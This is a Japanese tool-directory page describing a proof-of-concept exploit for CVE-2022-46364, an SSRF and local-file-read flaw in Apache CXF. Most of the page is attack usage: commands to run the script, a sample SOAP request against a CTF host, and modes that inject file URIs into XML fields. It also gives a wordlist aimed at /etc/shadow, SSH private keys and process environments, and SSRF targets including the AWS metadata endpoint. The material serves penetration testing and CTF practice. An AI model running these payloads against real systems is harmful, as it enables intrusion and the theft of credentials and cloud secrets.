Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-46364-poc — CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI | Kitploit
ツール/GitHubGitHub/0xmid00/cve-2022-46364-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ファジングペネトレーションテスト
GitHub0xmid00/cve-2022-46364-poc

CVE-2022-46364-poc

CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI

Author: 0xmid00
脆弱性: MTOMリクエスト内のXOP:Includeを介したSSRF / ローカルファイル読み取り
影響を受ける: Apache CXF < 3.5.5 および < 3.4.10


脆弱性とは?

Apache CXFは、XOP:Include要素を含むMTOM(Message Transmission Optimization Mechanism)メッセージを処理します。XOP:Includeのhref属性は、同じMTOMマルチパートメッセージ内の添付ファイルを参照することを想定しています。

しかし、脆弱なバージョンでは、CXFはhrefに指定された任意のURIを辿ります。例えば:

  • file:///etc/passwd → ローカルファイルを読み取る(LFI)
  • http://127.0.0.1:PORT/ → 内部サービスをプローブする(SSRF)

攻撃者は、任意の型のパラメータを1つ以上含むSOAPリクエストを送信するだけでこの脆弱性を引き起こすことができます。


必要条件

root@kitploit:~
pip install requests

使い方

root@kitploit:~
python3 exploit.py -r request.txt [オプション]

引数


リクエストファイルの形式

生のHTTPリクエストをキャプチャしたまま(例:Burpから).txtファイルに保存してください:

root@kitploit:~
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:tns="http://devarea.htb/">
  <soapenv:Body>
    <tns:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>test</content>
        <department>IT</department>
        <employeeName>john</employeeName>
      </arg0>
    </tns:submitReport>
  </soapenv:Body>
</soapenv:Envelope>

エクスプロイトは自動的にMTOM形式に変換します — 手動で行う必要はありません。


使用例

Mode 1 — すべての注入可能なフィールドを自動検出

root@kitploit:~
python3 exploit.py -r request.txt --mode 1

すべてのリーフXML要素に file:///etc/passwd を注入し、ファイル内容を返すものを報告します。


Mode 1 — 特定のフィールドをテスト

root@kitploit:~
python3 exploit.py -r request.txt --mode 1 --field content

Mode 2 — ファイルをファジング(先にフィールドを自動検出)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt

まずMode 1を実行して注入可能なフィールドを検出し、その後そのフィールドを通じてワードリスト内のすべてのパスをファジングします。


Mode 2 — 既知のフィールドでファイルをファジング(最速)

root@kitploit:~
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt

フィールド検出をスキップして、直接ファジングに進みます。


単一ファイル読み取り

root@kitploit:~
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa

ワードリスト例 (lfi.txt)

root@kitploit:~
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog

SecListsも使用できます:

root@kitploit:~
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt

動作の仕組み

  1. 生のHTTPリクエストファイルを解析します
  2. SOAP本文内のターゲットXMLフィールドを特定します
  3. そのコンテンツを <xop:Include href="file:///..."/> で置き換えます
  4. リクエストをMTOMマルチパート形式でラップします(CXFのXOPプロセッサを起動するために必要)
  5. リクエストを送信します — CXFがファイルを取得し、Base64エンコードされた内容を返します
  6. デコードして結果を表示します

SSRFモード

ファイルを読み取る代わりに内部HTTPサービスを調査するには:

root@kitploit:~
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/

または、--readの値を任意の内部URLに編集します:

root@kitploit:~
--read http://169.254.169.254/latest/meta-data/   (AWSメタデータ)
--read http://127.0.0.1:3306/                      (MySQL)
--read http://127.0.0.1:22/                        (SSHバナー)

免責事項

このツールは許可されたペネトレーションテストおよびCTFチャレンジ専用です。作者は不正使用に対して一切の責任を負いません。

ツールをダウンロード
引数説明
-r, --request生のHTTPリクエストファイルへのパス(必須)
--mode 1/etc/passwdを使用して注入可能なXMLフィールドを自動検出
--mode 2ファイルパスのワードリストをファジング
--field NAME注入するXMLフィールドを指定(自動検出をスキップ)
--wordlist PATHMode 2用のファイルワードリストへのパス
--read PATH特定の単一ファイルを読み取る
-v, --verboseリクエストの詳細情報を表示